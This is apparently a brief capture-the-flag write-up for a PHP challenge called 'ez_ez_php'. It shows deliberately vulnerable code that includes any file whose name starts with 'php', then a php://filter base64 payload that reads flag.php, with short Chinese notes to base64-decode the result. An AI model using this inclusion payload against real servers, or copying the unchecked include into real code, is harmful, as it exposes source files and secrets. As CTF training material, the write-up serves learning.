ez_ez_php
<?php
error_reporting(0);
if (isset($_GET['file'])) {if ( substr($_GET["file"], 0, 3) === "php" ) {echo "Nice!!!";include($_GET["file"]);} else {echo "Hacker!!";}
}else {highlight_file(__FILE__);
}
//flag.php
payload
/?file=php://filter/read=convert.base64-encode/resource=flag
结果
base64解码